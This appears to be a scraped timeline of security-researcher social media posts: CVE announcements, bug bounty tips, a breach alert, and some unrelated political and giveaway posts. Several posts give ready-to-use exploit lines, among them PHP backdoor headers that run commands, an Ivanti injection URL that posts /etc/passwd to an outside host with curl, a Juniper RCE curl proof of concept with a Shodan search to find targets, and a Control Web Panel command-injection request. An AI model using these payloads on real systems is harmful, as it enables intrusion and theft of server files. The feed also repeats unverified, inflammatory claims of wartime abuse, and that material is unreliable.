T3K4

[Densel @luckyhacker43]

Unauthenticated RCE in Apache Tomcat (CVE-2026-34486) 🤯🔥

🔗 https://t.co/JR2KeraObE

🔗 Join team today 👉https://t.co/FeMz53HSN0

[skull @brutecat]

StubZero: $148,337 RCE in Google Cloud Production

https://t.co/m7cBnSTaj4

[T3K4 @T3K4_09]

@AndrewBolis Money

[Hackmanac @H4ckmanac]

🚨 Cyber Alert ‼️

🇸🇦 Saudi - Tawuniya

Customer data from Tawuniya is allegedly being sold via a Chinese Telegram channel.

According to the sample provided, the data includes full names, phone numbers, gender, DoB, type of insurance, etc.

Discover more at https://t.co/yiQ1nOhPjb

[Duty @duty_1g]

🚀 SubCat v1.3.0 is out! Now featuring advanced tech detection, filtering, and reverse lookup mode for deeper subdomain intelligence. Check it out:
https://t.co/pJ1qB14Uvu

#infosec #cybersecurity #bugbounty
https://t.co/pJ1qB14Uvu

[Md Ismail Šojal 🕷️ @0x0SojalSec]

If you find PHP 8.1.0-dev then try RCE & SQLi
User-Agentt: zerodiumsleep(5);
User-Agentt: zerodiumsystem('id');

#bugbounty #bugbountytips #rce #sqli

[Jake Shields @jakeshieldsajj]

Video of IDF soldiers raping a Palestinian prisoner behind shields has been leaked

This entire camp is designed to rape and torture

Is the world gonna pretend this isn’t happening because it’s Israeli

[Andrew Tate @Cobratate]

Everydays the same.

I wake up.

Have a coffee.

Open my phone, read the news and end up saying “man, fuck Israel”

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

CVE-2024-21893 Ivanti Connect Secure SSRF to CVE-2024-21887 RCE

https://t.co/gQGmC9Zb8n

https://t.co/G2hE2Ie9kD

http://127.0.0.1:8090/api/v1/license/keys-status/;curl -X POST -d @/etc/passwd https://t.co/f1OC82e4PX;

[MrBeast @MrBeast]

I’m gonna give 10 random people that repost this and follow me $25,000 for fun (the $250,000 my X video made)

I’ll pick the winners in 72 hours

[𝐑𝐀𝐢𝐡𝐚𝐧 ✪ @zapstiko]

finally Juniper - Remote Code Execution 🔥 ( CVE-2023-36845 )
Shodan Dork : title:"Juniper" http.favicon.hash:2141724739

Poc: curl <TARGET> -F $'auto_prepend_file="/etc/passwd\n"' -F 'PHPRC=/dev/fd/0'

#bugbountytips #bugbounty #CVE-2023-36845 #RCE

[Karim Habeeb @NoRed0x]

add this file to your wordlist `.gitlab-ci.yml` , enjoy
its contain a database username and password
#bugbounty #bugbountytips #bugbountytip

[Synacktiv @Synacktiv]

Did you enjoy the latest blogpost on PHP filter chains? Well, our ninja @_remsio_ strikes again with a new article detailing how you can abuse them to leak files from the targeted system, as well as a freshly developed tool to exploit it! https://t.co/gQCOFD6xVv

[Cyber Advising @cyber_advising]

CVE-2023-21839: Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware..affected are 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP..

PoC
https://t.co/cNwytE2kpn

[张惠倩 @momika233]

CVE-2023-23752
Joomla webservice endpoint access
PoC
httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'

[reмо̷̷иѕec @remonsec]

I found really such a weird way to bypass the 403 endpoints protected by Cloudflare! writeup coming soon 🔥😎 #bugbountylife

[mgeeky | Mariusz Banach @mariuszbit]

🔥Support for SVG Smuggling added to https://t.co/dm3ttl42Ix

https://t.co/6o7TcSPVHA

✨Helluva last few weeks been for me! Tons of goodies added to Red Macros Factory (https://t.co/FFrXjvOBuB) & millions hours to get ready for Initial Access training https://t.co/SlJa1BjDML !

[_0xf4n9x_ @_0xf4n9x_]

#CVE-2022-44877 Control Web Panel Unauth #RCE

POC:
POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
Host: vuln
Content-Type: application/x-www-form-urlencoded

username=root&password=toor&commit=Login

[André Baptista @0xacb]

I'm back with a new tool. Happy to release REcollapse!

Simple bypasses can result in impactful bugs in hardened targets. Wanna understand how?

Check out my blog post and slides from @BSidesLisbon 2022: https://t.co/13FKI7MYpC

https://t.co/g4cVw8l9Xi

[David Schütz @xdavidhu]

I found a vulnerability that allowed me to unlock any @Google Pixel phone without knowing the passcode. This may be my most impactful bug so far.

Google fixed the issue in the November 5, 2022 security patch. Update your devices!

https://t.co/LUwSvEMF3w